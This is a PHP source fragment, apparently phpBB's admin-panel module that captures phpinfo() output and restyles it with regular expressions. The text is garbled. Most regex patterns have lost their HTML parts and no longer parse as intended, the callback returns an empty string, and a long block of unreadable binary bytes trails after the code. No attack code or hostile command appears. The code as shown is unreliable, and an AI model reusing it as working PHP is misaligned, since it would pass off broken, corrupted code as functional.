tpl_name = 'acp_php_info';
$this->page_title = 'ACP_PHP_INFO';
ob_start();
phpinfo(INFO_GENERAL | INFO_CONFIGURATION | INFO_MODULES | INFO_VARIABLES);
$phpinfo = ob_get_clean();
$phpinfo = trim($phpinfo);
// Here we play around a little with the PHP Info HTML to try and stylise
// it along phpBB's lines ... hopefully without breaking anything. The idea
// for this was nabbed from the PHP annotated manual
preg_match_all('#
]*>(.*)#si', $phpinfo, $output);
if (empty($phpinfo) || empty($output))
{
trigger_error('NO_PHPINFO_AVAILABLE', E_USER_WARNING);
}
$output = $output[1][0];
// expose_php can make the image not exist
if (preg_match('#]*>
]*>#', $output))
{
$output = preg_replace('#(.*?]*> ]*>)(.*?) |
#s', ' |
', $output);
}
else
{
$output = preg_replace('#| (.*?) |
#s', ' |
', $output);
}
$output = preg_replace('#]+>#i', '', $output);
$output = preg_replace('#
', ''), array('class="row1"', 'class="row2"', '', '', ''), $output);
// Fix invalid anchor names (eg "module_Zend Optimizer")
$output = preg_replace_callback('##', array($this, 'remove_spaces'), $output);
if (empty($output))
{
trigger_error('NO_PHPINFO_AVAILABLE', E_USER_WARNING);
}
$orig_output = $output;
preg_match_all('#(.*)
#siU', $output, $output);
$output = (!empty($output[1][0])) ? $output[1][0] : $orig_output;
$template->assign_var('PHPINFO', $output);
}
function remove_spaces($matches)
{
return '';
}
}
eS*'UU)M|A
AgFLO!܍Q%d5\̏f.-"':SK
t<<Ԥۦ $oH-F$MY\WEZk*XM0qD. W!Pfҝ~43DlNuj(#d/F/HFuKfdJ& O_bFp(º3'a1h
Y4Cu{-o
|V2Oy, e'ń
ʼV؋ɣH*-X!楟㱥%^ptL:XrNv l)&$W$RAC
(ubWFQ=)#f7ŁoͺK\ݡ`8'܂7^k[}B?lCg?؟;|,k&!'h\L8.z㬤̲iTt>IEqQ^Y~+@_kyXr
Zpܫ?JBcuxx|ja$ r!A?v8oD8zZN%`k tJ|ZCX]lH2tiՁ _YwI4NY0C5)E,#o^n=)apK1}gYm j]K/cZ]yX x|3s)i/E)ZX%i%d D9D;k>*R)USTJrdeƎ[C4ޠIƄ&]4BtcP
c@#5'i ~mbpP:4鲑"?8Y&?{xY16E?hwkxiACp!鰷ʭaHc3Xy`=E, HugzKZb8N-L Oi|Bq67cN^3NX7J!ѐg!Ӟ1 deQ;
8[6ͻ86eY;X,g1@|sԉA'FgG{YkJ~ja'CQ
)b8(?)>)fs];&nv7K#$X. *&J")jc]d
\u<#^H;w=N%Ma}1:%Ssh~bryvH?qaAu]dcSp厑bڞ"!^ ȍ-tDJ ?
uT'#1*J2rf<ɇ &sQD#zs;k1j_lphDr_ZZ[С؛)g
?x-+B _{\H`equ/4,#":p{}%r II/n
44p0VJEo |c{ۏbfu5ڪ-.>YxRF3xeAUr{8